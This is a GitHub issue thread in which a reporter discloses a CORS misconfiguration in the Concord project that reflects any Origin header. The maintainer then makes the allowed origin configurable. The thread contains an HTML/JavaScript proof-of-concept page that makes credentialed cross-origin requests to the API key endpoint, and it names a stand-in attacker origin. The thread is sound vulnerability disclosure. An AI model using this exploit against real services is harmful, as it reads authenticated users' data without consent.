Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Misconfigured CORS allows a malicious user to fetch api keys #22

Closed
fitzpr opened this issue Mar 11, 2020 · 9 comments
Closed

Misconfigured CORS allows a malicious user to fetch api keys #22

fitzpr opened this issue Mar 11, 2020 · 9 comments
Assignees
@ibodrov
Labels
enhancement New feature or request security Security issues

Comments

@fitzpr
Copy link

fitzpr commented Mar 11, 2020

Just a security issue I noticed where the accepted origins on CORS appear to be vulnerable.

If an authenticated user visits a page such as the following, the VICTIMSKEY is alerted. This could also be sent to an attacker.

<html>
   <head>
      <script>
         function cors() {
            var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        document.getElementById("emo").innerHTML = alert(this.responseText);
            }
         };
         xhttp.open("GET", "https://concord.endpoint.com/api/v1/apikey", true);
         xhttp.withCredentials = true;
         xhttp.send();
         }
      </script>
   </head>
   <body>
      <center>
      <h2>CORS PoC Exploit </h2>
      <h3>Show full content of page</h3>
      <div id="demo">
         <button type="button" onclick="cors()">Exploit</button>
      </div>
   </body>
</html>
@ibodrov
Copy link
Collaborator

ibodrov commented Mar 11, 2020

I don't understand the issue.
The request returns the list of API keys for the currently authenticated user. Not the keys themselves.
Which according to the current CORS settings is allowed.

@ibodrov
Copy link
Collaborator

ibodrov commented Mar 11, 2020

Although, I agree it might not be desirable in some (most?) cases. At very least it should be configurable.

@ibodrov ibodrov self-assigned this Mar 11, 2020
@ibodrov ibodrov added enhancement New feature or request security Security issues labels Mar 11, 2020
@fitzpr
Copy link
Author

fitzpr commented Mar 11, 2020

The Access-Control-Allow-Origin headers will accept any origin as its inserting the allowed value from the origin header. Meaning that If you as a valid concord user visit my "malicious" page. I can view any XHR response in my sites logs/context (bypassing same origin policy). Important to note it works for ANY of the api calls so host information, nodes, api metadata, references to usernames etc.

e.g. Origin: https://evil.hacker.com responds with Access-Control-Allow-Origin: https://evil.hacker.com

Reference to better explain: https://medium.com/bugbountywriteup/stealing-user-details-by-exploiting-cors-c5ee86ebe7fb

CORS ACAO header shouldn't allow any requesting origin to view the responses.

@ibodrov
Copy link
Collaborator

ibodrov commented Mar 11, 2020

Yeah, I understand how Access-Control-Allow-Origin works.
I've opened an internal PR to make it configurable, but depending on the environment it might require an additional proxy server (Nginx, Apache, anything else) to support multiple allowed origins, which is what we want in our internal use case.

Thanks!

@fitzpr
Copy link
Author

fitzpr commented Mar 11, 2020

Sorry didn't mean to suggest you didn't! Thanks for being patient with my description. If the bug qualifies for a CVE reference please me know.

@ibodrov
Copy link
Collaborator

ibodrov commented Mar 11, 2020 •
edited
Loading

I honestly don't know if it's qualifies for a CVE, but I guess it wouldn't hurt. :-)

Here's the commit that makes Access-Control-Allow-Origin configurable ab32c17

@fitzpr
Copy link
Author

fitzpr commented Mar 12, 2020

Yeah I think once the server does not blindly insert the Origin: value into the Access-Control-Allow header its fine. Should just be a regex to check its concord requesting it. Thanks alot.

@ibodrov
Copy link
Collaborator

ibodrov commented Mar 12, 2020

@fitzpr we good with closing this issue then?

@fitzpr
Copy link
Author

fitzpr commented Mar 19, 2020

Yeah its more a config issue that a coding change. Thanks for responding.

@ibodrov ibodrov closed this as completed Mar 19, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees

@ibodrov ibodrov

Labels
enhancement New feature or request security Security issues
Milestone
No milestone
Development

No branches or pull requests
2 participants
@ibodrov @fitzpr